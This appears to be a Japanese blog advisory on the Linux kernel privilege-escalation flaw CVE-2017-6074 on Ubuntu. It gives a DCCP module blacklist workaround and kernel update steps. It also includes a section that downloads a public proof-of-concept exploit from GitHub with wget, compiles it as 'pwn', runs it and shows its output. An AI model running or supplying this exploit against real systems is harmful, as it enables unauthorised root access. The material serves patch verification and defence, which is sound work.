Linux kernelの特権昇格の脆弱性( CVE-2017-6074 )が報告されている。
この脆弱性を3行で解説すると?
- ユーザーログインできるサーバーで
- 脆弱性コードを実行すると
- root権限のユーザーになれて悪意のある行動し放題!
…ログインできることが条件ですが、やばい脆弱性であることは間違いありません。
脆弱性への対応
この問題を回避するには速やかにUbuntuに修正済みのカーネルを適用して再起動することである。 また、カーネル4.0以降であればライブパッチ機能を使って脆弱性に対応することもできる。 しかし、すぐに再起動できない場合は次のように実行しておき、良きタイミングでUbuntuを再起動するという対応が可能である。
回避策を設定
$ sudo vi /etc/modprobe.d/blacklist-dccp.conf alias net-pf-2-proto-0-type-6 off alias net-pf-2-proto-33-type-6 off alias net-pf-10-proto-0-type-6 off alias net-pf-10-proto-33-type-6 off
回避策を適用
次のコマンドでモジュールの設定に従って先の設定やその他のモジュール設定の適用、モジュールの読み込み、アンロードが実行される。意図しないモジュールが読み込まれる場合があるので注意する。
$ sudo depmod -a
Ubuntuのアップデート
アップデート後は新しいカーネルをロードするために再起動が必要。
$ sudo apt update $ sudo apt upgrade && sudo reboot
Ubuntuの各バージョンに対するパッチのリリース状況は以下のページで確認できる。
PoCのテスト
PoCがgithubに公開されているので、再起動前であれば試しに実行してみることができる。次の手順に従ってテストできる。PoCのテストをするつもりがなければ、このステップはスキップしてください。
重要なサーバー上で絶対に実行しないでください。
$ wget https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-6074/poc.c && wget https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-6074/trigger.c $ sudo apt update && sudo apt install gcc -y && gcc -o pwn poc.c $ ./pwn [.] namespace sandbox setup successfully [.] disabling SMEP & SMAP [.] scheduling 0xffffffff81064550(0x406e0) socket(SOCK_DCCP): Socket type not supported
なお、以下のサイトではUbuntuにSELinuxをインストールして脆弱性を回避できるか試行されているが、UbuntuへSELinuxをインストールするのは推奨されない。UbuntuにはApparmorというセキュリティ機能がインストールされており、ApparmorとSELinuxが衝突してしまうためである。
またそもそもUbuntuでSELinuxを使っているユーザーは少なく、何が起こっても解決できる保証はないことや、もはやUbuntuのSELinuxやそれを支える関連するツールは積極的にメンテナンスされていないため、インストールすることは推奨されない。
困難を理解した上でインストールしたい場合は次のドキュメントが参考になるかもしれない。